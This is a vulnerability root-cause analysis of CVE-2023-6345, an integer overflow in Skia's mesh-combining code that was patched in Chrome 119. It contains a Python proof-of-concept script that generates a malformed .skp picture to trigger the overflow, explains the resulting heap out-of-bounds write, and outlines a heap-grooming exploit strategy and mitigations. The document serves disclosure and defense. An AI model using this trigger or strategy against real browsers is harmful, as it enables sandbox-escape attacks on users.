CVE-2023-6345: Integer overflow in Skia MeshOp::onCombineIfPossible
Benoît Sevens and Clement Lecigne
The Basics
Disclosure or Patch Date: November 28, 2023
Product: Google Chrome
Advisory: https://chromereleases.googleblog.com/2023/11/stable-channel-update-for-desktop_28.html
Affected Versions: Versions older than 119.0.6045.199
First Patched Version: 119.0.6045.199
Issue/Bug Report: https://crbug.com/1505053
Patch CL: https://skia.googlesource.com/skia/+/6169a1fabae1743709bc9641ad43fcbb6a4f62e1
Bug-Introducing CL: https://skia.googlesource.com/skia/+/8a85ab0d96a1128c64fa21133518e835506b3895
Reporter(s): Benoît Sevens and Clément Lecigne of Google's Threat Analysis Group
The Code
Proof-of-concept:
Compile Skia with ASAN. The following Python script gen.py
will create a poc.skp
in the current directory:
import struct
import sys
kSkBlenderInSkPaint = 87
kXor = 11
sizeof_SkPoint = 8
sizeof_uint16_t = 2
kHasTexs_Mask = 0x100
kPictureData_TrailingStreamByteAfterPictInfo = 1
DRAW_VERTICES_OBJECT = 62
INT32_MAX = (1 << 31) - 1
vertexCount = 1 << 16 # Optimized to have as small as possible output .skp
indexCount = 0
name = b'poc'
def p32(x):
return struct.pack("<I", x)
def p8(x):
return bytes([x])
def f32(x):
return struct.pack("<f", x)
def tag(s):
return s.encode()[::-1]
info = b'skiapict'
info += p32(kSkBlenderInSkPaint) # SkPictInfo.fVersion
info += f32(0) # SkRect.fLeft
info += f32(0) # SkRect.fTop
info += f32(30) # SkRect.fRight
info += f32(30) # SkRect.fBottom
info += p8(kPictureData_TrailingStreamByteAfterPictInfo)
factory = tag('fact')
factory += p32(1) # size
factory += p32(1) # SkFactoryPlayback size
factory += p8(len(name))
factory += name
paint_buffer = tag('pnt ')
paint_buffer += p32(1) # size
paint_buffer += f32(1) # SkPaint.fWidth
paint_buffer += f32(0) # SkPaitn.fMiterLimit
paint_buffer += f32(255) # SkColor4f.fR
paint_buffer += f32(255) # SkColor4f.fG
paint_buffer += f32(255) # SkColor4f.fB
paint_buffer += f32(0) # SkColor4f.fA
paint_buffer += p32(0) # flatFlags
vertices_buffer = tag('vert')
vertices_buffer += p32(1) # size
vertices_buffer += p32(kHasTexs_Mask)
vertices_buffer += p32(vertexCount)
vertices_buffer += p32(indexCount)
fVSize = vertexCount * sizeof_SkPoint # positions
fTSize = vertexCount * sizeof_SkPoint # texCoords
fCSize = 0 # colors
fISize = indexCount * sizeof_uint16_t # indices
vertices_buffer += p32(fVSize)
positions = b''
for _ in range(2): # We need at least 2 distinct points to not bail out early.
positions += f32(1)
positions += f32(0) * ((fVSize - len(positions)) // 4)
vertices_buffer += positions
for size in [fTSize, fCSize, fISize]:
vertices_buffer += p32(size)
vertices_buffer += b'\0' * size
buffer_size = tag('aray')
buffer_size += p32(len(paint_buffer) + len(vertices_buffer))
reader = tag('read')
op = DRAW_VERTICES_OBJECT
op_size = 16
reader_op = p32((op << 24) + op_size)
reader_op += p32(1) # paint
reader_op += p32(1) # vertices
reader_op += p32(0) # boneCount
reader_op += p32(kXor) # bmode
reader_ops = reader_op * (INT32_MAX // vertexCount + 1) # The "+ 1" will trigger the overflow
reader += p32(len(reader_ops))
reader += reader_ops
eof = tag('eof ')
with open(sys.argv[1], 'wb') as f:
f.write(info)
f.write(factory)
f.write(buffer_size)
f.write(paint_buffer)
f.write(vertices_buffer)
f.write(reader)
f.write(eof)
Generate and parse the Skia picture with the following commands:
$ python3 gen.py poc.skp
$ ./skia/out/asan/skpbench --src poc.skp --config gles
accum median max min stddev samples sample_ms clock metric config bench
../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18: runtime error: signed integer overflow: 2146435072 + 1048576 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18 in
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: Integer overflow leading to a heap out of bounds write
Vulnerability details:
When Skia draws a Skia picture ("skp"), MeshOp::onCombineIfPossible
will be called if multiple DRAW_VERTICES_OBJECT
operations are performed (see proof of concept code for an example). MeshOp::onCombineIfPossible
tries to combine the current MeshOp
with the next MeshOp
("that
"). This function will perform a few sanity checks and if they pass, it will extend fMeshes
with those of the other MeshOp
([1]), as well as increment the fVertexCount
and fIndexCount
with those of the other MeshOp
([2]).
GrOp::CombineResult MeshOp::onCombineIfPossible(GrOp* t, SkArenaAlloc*, const GrCaps& caps) {
auto that = t->cast<MeshOp>();
...
fMeshes.move_back_n(that->fMeshes.size(), that->fMeshes.begin()); // [1]
fVertexCount += that->fVertexCount; // [2]
fIndexCount += that->fIndexCount;
return CombineResult::kMerged;
}
However no sanity check is performed to verify that the addition at [1] will not overflow, with fVertexCount
being defined as a int
, which is 32-bit in this case.
Later on in MeshOp::onPrepareDraws
, a skgpu::VertexWriter verts
is allocated based on the (potentially overflowed) fVertexCount
([3]). A skgpu::VertexWriter
is a specialized version of a skgpu::BufferWriter
. GrMeshDrawTarget::makeVertexWriter
will allocate a backing buffer by calling GrOpFlushState::makeVertexSpace
. The size of the vertex buffer is eventually calculated in GrVertexBufferAllocPool::makeSpace
by multiplying the vertexStride
with the fVertexCount
.
void MeshOp::onPrepareDraws(GrMeshDrawTarget* target) {
size_t vertexStride = fSpecification->stride();
sk_sp<const GrBuffer> vertexBuffer;
int firstVertex;
std::tie(vertexBuffer, firstVertex) = fMeshes[0].gpuVB();
if (!vertexBuffer) {
skgpu::VertexWriter verts = target->makeVertexWriter(vertexStride, // [3]
fVertexCount,
&vertexBuffer,
&firstVertex);
if (!verts) {
SkDebugf("Could not allocate vertices.\n");
return;
}
bool transform = fViewMatrix == SkMatrix::InvalidMatrix();
for (const auto& m : fMeshes) {
m.writeVertices(verts, *fSpecification, transform); // [4]
}
...
}
Finally, for every mesh of fMeshes
, the vertices are then written to verts
([4]). Since this time the vertices are taken from the individual fMeshes
, it can overflow the previously allocated buffer if fVertexCount
has overflowed.
Note that writes to a skgpu::VertexWriter
are validated:
void validate(size_t bytesToWrite) const {
// If the buffer writer had an end marked, make sure we're not crossing it.
// Ideally, all creators of BufferWriters mark the end, but a lot of legacy code is not set
// up to easily do this.
SkASSERT(fPtr || bytesToWrite == 0);
SkASSERT(!fEnd || Mark(fPtr, bytesToWrite) <= fEnd); // [5]
}
At [5] the out of bounds write will be caught on debug builds. However on release builds, SkAssert
calls are compiled out.
Patch analysis:
The patch verifies that the addition of fVertexCount
and that->fVertexCount
will not overflow.
+ if (fVertexCount > INT32_MAX - that->fVertexCount) {
+ return CombineResult::kCannotCombine;
+ }
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
Both fuzzing and code auditing are viable ways to find this vulnerability.
(Historical/present/future) context of bug: Another integer overflow in Skia, tracked as CVE-2023-2136 and in a different component, was found exploited in the wild a few months earlier.
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
In contrast with the above proof of concept, the exploit has two entries in the vertices buffer, one with a fVertexCount
of A and a second one with a fVertexCount
of B. The first DRAW_VERTICES_OBJECT
operation refers to A and the N next operations refer to B. A and B are chosen so that:
(A + N * B) % INT_MAX < A
The left hand side of the equation will be the overflown allocated size, while the right hand side will be the number of bytes written in the first writeVertices
call. By using two vertices buffer, the values A, B and N can be finetuned to have the buffer land in the right heap location (after some heap grooming) and overflow the neighboring object with the desired amount.
Exploit flow: N/A
Known cases of the same exploit flow:
Exploits for CVE-2023-2136 and CVE-2023-6345 used the same technique to reach Skia from within the Chrome renderer (i.e. by using a DrawSlugOp
command).
Part of an exploit chain? This sandbox escape would typically be chained with a renderer exploit before and an LPE exploit after.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why): Analyse similar patterns in other onCombine...
functions of other operations.
Found variants: None
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
Some memory safe languages would detect such integer overflows at runtime.
Otherwise, use of overflow checking functions or macros for additions/substractions (instead of raw additions/substractions), would also mitigate such bugs. Such functions are actually used in some places in Skia, such as here. Of course, using such functions consistently thoughout the codebase is prone to errors.
Ideas to mitigate the exploit flow:
Hardware memory tagging technologies, such as Arm MTE, will detect the heap buffer out of bounds accesses.
Other potential improvements: N/A
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day? N/A
Other References
N/A